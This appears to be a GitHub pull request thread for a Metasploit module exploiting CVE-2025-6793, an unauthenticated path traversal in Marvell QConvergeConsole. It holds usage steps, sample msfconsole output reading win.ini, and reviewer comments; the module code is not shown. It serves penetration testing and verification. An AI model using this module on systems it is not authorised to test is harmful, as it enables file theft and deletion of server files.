Marvell QConvergeConsole Path Traversal (CVE-2025-6793) Module

[h4x-x0r]

This module exploits a path traversal vulnerability (CVE-2025-6793) in Marvell QConvergeConsole <= v5.5.0.85 to read arbitrary files from the system. No authentication is required to exploit this issue.
Note that whatever file is retrieved will be deleted from the server it was fetched from.

Verification Steps

1. Download the installer from the vendor and deploy it with default settings.
2. Start msfconsole
3. msf > use auxiliary/gather/qconvergeconsole_traversal
4. msf auxiliary(gather/qconvergeconsole_traversal) > set RHOSTS <IP>
5. msf auxiliary(gather/qconvergeconsole_traversal) > run

Example output:

msf auxiliary(gather/qconvergeconsole_traversal) > exploit 
[*] Running module against 192.168.137.238
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable version detected: 5.0.78
[+] File retrieved: C:\Windows/win.ini
[*] File saved as loot: /home/asdf/.msf4/loot/20260416155543_default_192.168.137.238_qconvergeconsole_043853.ini
[*] Auxiliary module execution completed

msf auxiliary(gather/qconvergeconsole_traversal) > loot

Loot
====

host             service  type                   name     content                   info                                                                     path
----             -------  ----                   ----     -------                   ----                                                                     ----
192.168.137.238           qconvergeconsole.file  win.ini  application/octet-stream  File retrieved through QConvergeConsole path traversal (CVE-2025-6793).  /home/asdf/.msf4/loot/20260416155543_default_192.168.137.238_qconvergeconsole_043853.ini

Successfully tested on

• Marvell QConvergeConsole v5.5.0.78 on Windows 22H2
• Marvell QConvergeConsole v5.5.0.81 on Windows 22H2

[dledda-r7]

Hello @h4x-x0r ! i have set up the target and i am going to test it soon, also i'll try to investigate the two open questions: msftidy_docs for the long link and vars_get. Cheers!

[bwatters-r7]

maybe detected here?

[h4x-x0r]

@dledda-r7 Were you able to replicate the module in your test environment? Do you have any feedback that I can address before the module can get merged?

[dledda-r7]

msf auxiliary(gather/qconvergeconsole_traversal) > run
[*] Running module against 10.5.135.134
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable version detected: 5.0.78
[+] File retrieved: C:\Windows/win.ini
[*] File saved as loot: /home/kali/.msf4/loot/20260508114551_default_10.5.135.134_qconvergeconsole_548615.ini
[*] Auxiliary module execution completed
msf auxiliary(gather/qconvergeconsole_traversal) > 

[dledda-r7]

@dledda-r7 Were you able to replicate the module in your test environment? Do you have any feedback that I can address before the module can get merged?

Hello @h4x-x0r I think we are good :)

[dledda-r7]

just the check method. let me know if it makes sense to you

[h4x-x0r]

@dledda-r7 Sorry I wasn't able to get back to you earlier. I saw you already merged it, thank you!